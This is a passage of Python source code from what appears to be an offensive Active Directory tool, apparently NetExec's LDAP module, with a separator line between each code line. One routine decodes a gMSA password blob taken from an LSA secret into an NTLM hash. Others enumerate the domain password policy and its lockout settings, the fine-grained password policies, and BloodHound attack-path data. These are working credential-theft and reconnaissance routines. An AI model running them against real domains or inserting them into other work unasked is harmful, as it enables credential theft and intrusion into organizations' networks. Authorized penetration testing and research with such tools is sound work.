if self.args.gmsa_decrypt_lsa:
|
|
if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa:
|
|
gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":")
|
|
# getting the gmsa account
|
|
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
|
gmsa_accounts = self.ldap_connection.search(
|
|
searchBase=self.baseDN,
|
|
searchFilter=search_filter,
|
|
attributes=["sAMAccountName"],
|
|
sizeLimit=0,
|
|
)
|
|
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
|
|
if gmsa_accounts_parsed:
|
|
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
|
|
|
for acc in gmsa_accounts_parsed:
|
|
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == gmsa_id:
|
|
gmsa_id = acc["sAMAccountName"]
|
|
break
|
|
# convert to ntlm
|
|
data = bytes.fromhex(gmsa_pass)
|
|
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
|
blob.fromString(data)
|
|
currentPassword = blob["CurrentPassword"][:-2]
|
|
ntlm_hash = MD4.new()
|
|
ntlm_hash.update(currentPassword)
|
|
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
|
|
self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}")
|
|
else:
|
|
self.logger.fail("No string provided :'(")
|
|
|
|
def pso(self):
|
|
"""
|
|
Get the Fine Grained Password Policy/PSOs
|
|
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
|
|
"""
|
|
# Convert LDAP time to human readable format
|
|
def pso_days(ldap_time):
|
|
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
|
|
|
|
def pso_mins(ldap_time):
|
|
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
|
|
|
|
# Are there even any FGPPs?
|
|
self.logger.info("Attempting to enumerate policies...")
|
|
resp = self.search(searchFilter="(objectclass=*)", baseDN=f"CN=Password Settings Container,CN=System,{self.baseDN}", attributes=[])
|
|
if len(resp) > 1:
|
|
self.logger.highlight(f"{len(resp) - 1} PSO Objects found!")
|
|
self.logger.highlight("")
|
|
self.logger.success("Attempting to enumerate objects with an applied policy...")
|
|
|
|
# Who do they apply to?
|
|
resp = self.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"])
|
|
resp_parsed = parse_result_attributes(resp)
|
|
for attrs in resp_parsed:
|
|
if "msDS-PSOApplied" in attrs:
|
|
# Get the distinguished name from the original response for objectName
|
|
for orig_resp in resp:
|
|
if isinstance(orig_resp, ldapasn1_impacket.SearchResultEntry):
|
|
self.logger.highlight(f"Object: {orig_resp['objectName']}")
|
|
break
|
|
self.logger.highlight("Applied Policy: ")
|
|
pso_applied = attrs["msDS-PSOApplied"]
|
|
self.logger.highlight(f"\t{pso_applied}")
|
|
self.logger.highlight("")
|
|
|
|
# Let's find out even more details!
|
|
self.logger.info("Attempting to enumerate details...\n")
|
|
resp = self.search(searchFilter="(objectclass=msDS-PasswordSettings)",
|
|
attributes=["name", "msds-lockoutthreshold", "msds-psoappliesto", "msds-minimumpasswordlength",
|
|
"msds-passwordhistorylength", "msds-lockoutobservationwindow", "msds-lockoutduration",
|
|
"msds-passwordsettingsprecedence", "msds-passwordcomplexityenabled", "Description",
|
|
"msds-passwordreversibleencryptionenabled", "msds-minimumpasswordage", "msds-maximumpasswordage"])
|
|
resp_parsed = parse_result_attributes(resp)
|
|
for attrs in resp_parsed:
|
|
policyName = attrs.get("name", "")
|
|
description = attrs.get("description", "")
|
|
passwordLength = attrs.get("msDS-MinimumPasswordLength", "")
|
|
passwordhistorylength = attrs.get("msDS-PasswordHistoryLength", "")
|
|
lockoutThreshold = attrs.get("msDS-LockoutThreshold", "")
|
|
observationWindow = attrs.get("msDS-LockoutObservationWindow", "")
|
|
lockoutDuration = attrs.get("msDS-LockoutDuration", "")
|
|
complexity = attrs.get("msDS-PasswordComplexityEnabled", "")
|
|
minPassAge = attrs.get("msDS-MinimumPasswordAge", "")
|
|
maxPassAge = attrs.get("msDS-MaximumPasswordAge", "")
|
|
reverseibleEncryption = attrs.get("msDS-PasswordReversibleEncryptionEnabled", "")
|
|
precedence = attrs.get("msDS-PasswordSettingsPrecedence", "")
|
|
policyApplies = attrs.get("msDS-PSOAppliesTo", "")
|
|
|
|
self.logger.highlight(f"Policy Name: {policyName}")
|
|
if description:
|
|
self.logger.highlight(f"Description: {description}")
|
|
self.logger.highlight(f"Minimum Password Length: {passwordLength}")
|
|
self.logger.highlight(f"Minimum Password History Length: {passwordhistorylength}")
|
|
self.logger.highlight(f"Lockout Threshold: {lockoutThreshold}")
|
|
self.logger.highlight(f"Observation Window: {pso_mins(observationWindow)}")
|
|
self.logger.highlight(f"Lockout Duration: {pso_mins(lockoutDuration)}")
|
|
self.logger.highlight(f"Complexity Enabled: {complexity}")
|
|
self.logger.highlight(f"Minimum Password Age: {pso_days(minPassAge)}")
|
|
self.logger.highlight(f"Maximum Password Age: {pso_days(maxPassAge)}")
|
|
self.logger.highlight(f"Reversible Encryption: {reverseibleEncryption}")
|
|
self.logger.highlight(f"Precedence: {precedence} (Lower is Higher Priority)")
|
|
self.logger.highlight("Policy Applies to:")
|
|
if isinstance(policyApplies, list):
|
|
for value in policyApplies:
|
|
if value:
|
|
self.logger.highlight(f"\t{value}")
|
|
elif policyApplies:
|
|
self.logger.highlight(f"\t{policyApplies}")
|
|
self.logger.highlight("")
|
|
|
|
def pass_pol(self):
|
|
search_filter = "(objectClass=domainDNS)"
|
|
attributes = [
|
|
"minPwdLength",
|
|
"pwdHistoryLength",
|
|
"maxPwdAge",
|
|
"minPwdAge",
|
|
"lockoutThreshold",
|
|
"lockoutDuration",
|
|
"lockOutObservationWindow",
|
|
"forceLogoff",
|
|
"pwdProperties"
|
|
]
|
|
|
|
resp = self.search(search_filter, attributes, sizeLimit=0, baseDN=self.baseDN)
|
|
resp_parsed = parse_result_attributes(resp)
|
|
|
|
if not resp_parsed:
|
|
self.logger.fail("No domain password policy found!")
|
|
return
|
|
|
|
for policy in resp_parsed:
|
|
def ldap_to_filetime(ldap_time):
|
|
"""Convert LDAP time to FILETIME format for convert function"""
|
|
if not ldap_time or ldap_time == "0":
|
|
return 0, 0
|
|
|
|
time_int = int(ldap_time)
|
|
if time_int < 0:
|
|
time_int = abs(time_int)
|
|
|
|
low = time_int & 0xFFFFFFFF
|
|
high = (time_int >> 32) & 0xFFFFFFFF
|
|
if ldap_time.startswith("-") or int(ldap_time) < 0:
|
|
high = -high
|
|
|
|
return low, high
|
|
|
|
min_pass_len = policy.get("minPwdLength", "None")
|
|
pass_hist_len = policy.get("pwdHistoryLength", "None")
|
|
max_pwd_age_low, max_pwd_age_high = ldap_to_filetime(policy.get("maxPwdAge", "0"))
|
|
max_pass_age = convert(max_pwd_age_low, max_pwd_age_high)
|
|
min_pwd_age_low, min_pwd_age_high = ldap_to_filetime(policy.get("minPwdAge", "0"))
|
|
min_pass_age = convert(min_pwd_age_low, min_pwd_age_high)
|
|
accnt_lock_thres = policy.get("lockoutThreshold", "None")
|
|
lockout_duration_val = policy.get("lockoutDuration", "0")
|
|
lock_accnt_dur = convert(0, int(lockout_duration_val) if lockout_duration_val != "0" else 0, lockout=True)
|
|
lockout_obs_val = policy.get("lockOutObservationWindow", "0")
|
|
rst_accnt_lock_counter = convert(0, int(lockout_obs_val) if lockout_obs_val != "0" else 0, lockout=True)
|
|
force_logoff_low, force_logoff_high = ldap_to_filetime(policy.get("forceLogoff", "0"))
|
|
force_logoff_time = convert(force_logoff_low, force_logoff_high)
|
|
|
|
# Convert password properties using existing d2b function
|
|
pwd_properties = policy.get("pwdProperties", "0")
|
|
pass_prop = d2b(int(pwd_properties)) if pwd_properties != "0" else "000000"
|
|
|
|
# Use the same formatting and constants as SMB passpol
|
|
PASSCOMPLEX = {
|
|
5: "Domain Password Complex:",
|
|
4: "Domain Password No Anon Change:",
|
|
3: "Domain Password No Clear Change:",
|
|
2: "Domain Password Lockout Admins:",
|
|
1: "Domain Password Store Cleartext:",
|
|
0: "Domain Refuse Password Change:",
|
|
}
|
|
|
|
# Pretty print using same format as SMB
|
|
self.logger.success(f"Dumping password info for domain: {self.domain}")
|
|
self.logger.highlight(f"Minimum password length: {min_pass_len}")
|
|
self.logger.highlight(f"Password history length: {pass_hist_len}")
|
|
self.logger.highlight(f"Maximum password age: {max_pass_age}")
|
|
self.logger.highlight("")
|
|
self.logger.highlight(f"Password Complexity Flags: {pass_prop or 'None'}")
|
|
|
|
for i, a in enumerate(pass_prop):
|
|
self.logger.highlight(f"\t{PASSCOMPLEX[i]} {a!s}")
|
|
|
|
self.logger.highlight("")
|
|
self.logger.highlight(f"Minimum password age: {min_pass_age}")
|
|
self.logger.highlight(f"Reset Account Lockout Counter: {rst_accnt_lock_counter}")
|
|
self.logger.highlight(f"Locked Account Duration: {lock_accnt_dur}")
|
|
self.logger.highlight(f"Account Lockout Threshold: {accnt_lock_thres}")
|
|
self.logger.highlight(f"Forced Log off Time: {force_logoff_time}")
|
|
|
|
break # Only process first policy result
|
|
|
|
def bloodhound(self):
|
|
# Check which version is desired
|
|
use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False)
|
|
package_name, version, is_ce = get_bloodhound_info()
|
|
|
|
if use_bhce and not is_ce:
|
|
self.logger.fail("⚠️ Configuration Issue Detected ⚠️")
|
|
self.logger.fail(f"Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your {CONFIG_PATH} config file or follow the instructions:")
|
|
self.logger.fail("Please run the following commands to fix this:")
|
|
self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package")
|
|
self.logger.fail("poetry add bloodhound-ce")
|
|
self.logger.fail("")
|
|
|
|
# If using pipx
|
|
self.logger.fail("Or if you installed with pipx:")
|
|
self.logger.fail("pipx runpip netexec uninstall -y bloodhound")
|
|
self.logger.fail("pipx inject netexec bloodhound-ce --force")
|
|
return
|
|
|
|
elif not use_bhce and is_ce:
|
|
self.logger.fail("⚠️ Configuration Issue Detected ⚠️")
|
|
self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.")
|
|
self.logger.fail("Please run the following commands to fix this:")
|
|
self.logger.fail("poetry remove bloodhound-ce")
|
|
self.logger.fail("poetry add bloodhound")
|
|
self.logger.fail("")
|
|
|
|
# If using pipx
|
|
self.logger.fail("Or if you installed with pipx:")
|
|
self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce")
|
|
self.logger.fail("pipx inject netexec bloodhound --force")
|
|
return
|
|
|
|
auth = ADAuthentication(
|
|
username=self.username,
|
|
password=self.password,
|
|
domain=self.domain,
|
|
lm_hash=self.nthash,
|
|
nt_hash=self.nthash,
|
|
aeskey=self.aesKey,
|
|
kdc=self.kdcHost,
|
|
auth_method="auto",
|
|
)
|
|
ad = AD(
|
|
auth=auth,
|
|
domain=self.domain,
|
|
nameserver=self.args.dns_server,
|
|
dns_tcp=self.args.dns_tcp,
|
|
dns_timeout=self.args.dns_timeout,
|
|
)
|
|
collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
|
|
if not collect:
|
|
return
|
|
self.logger.highlight("Resolved collection methods: " + ", ".join(list(collect)))
|
|
|
|
self.logger.debug("Using DNS to retrieve domain information")
|
|
try:
|
|
ad.dns_resolve(domain=self.domain)
|
|
except (resolver.LifetimeTimeout, resolver.NoNameservers):
|
|
self.logger.fail("Bloodhound-python failed to resolve domain information, try specifying the DNS server.")
|
|
return
|
|
|
|
if self.args.kerberos:
|
|
self.logger.highlight("Using kerberos auth without ccache, getting TGT")
|
|
auth.get_tgt()
|
|
if self.args.use_kcache:
|
|
self.logger.highlight("Using kerberos auth from ccache")
|
|
auth.load_ccache()
|
|
|
|
timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_"
|
|
bloodhound = BloodHound(ad, self.hostname, self.host, self.port)
|
|
bloodhound.connect()
|
|
|
|
try:
|
|
bloodhound.run(
|
|
collect=collect,
|
|
num_workers=10,
|
|
disable_pooling=False,
|
|
timestamp=timestamp,
|
|
fileNamePrefix=self.output_filename.split("/")[-1],
|
|
computerfile=None,
|
|
cachefile=None,
|
|
exclude_dcs=False,
|
|
)
|
|
except Exception as e:
|
|
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
|
|
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
|
|
return
|
|
|
|
self.logger.highlight(f"Compressing output into {self.output_filename}_bloodhound.zip")
|
|
list_of_files = os.listdir(os.getcwd())
|
|
with ZipFile(f"{self.output_filename}_bloodhound.zip", "w") as z:
|
|
for each_file in list_of_files:
|
|
if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"):
|
|
z.write(each_file)
|
|
os.remove(each_file)
|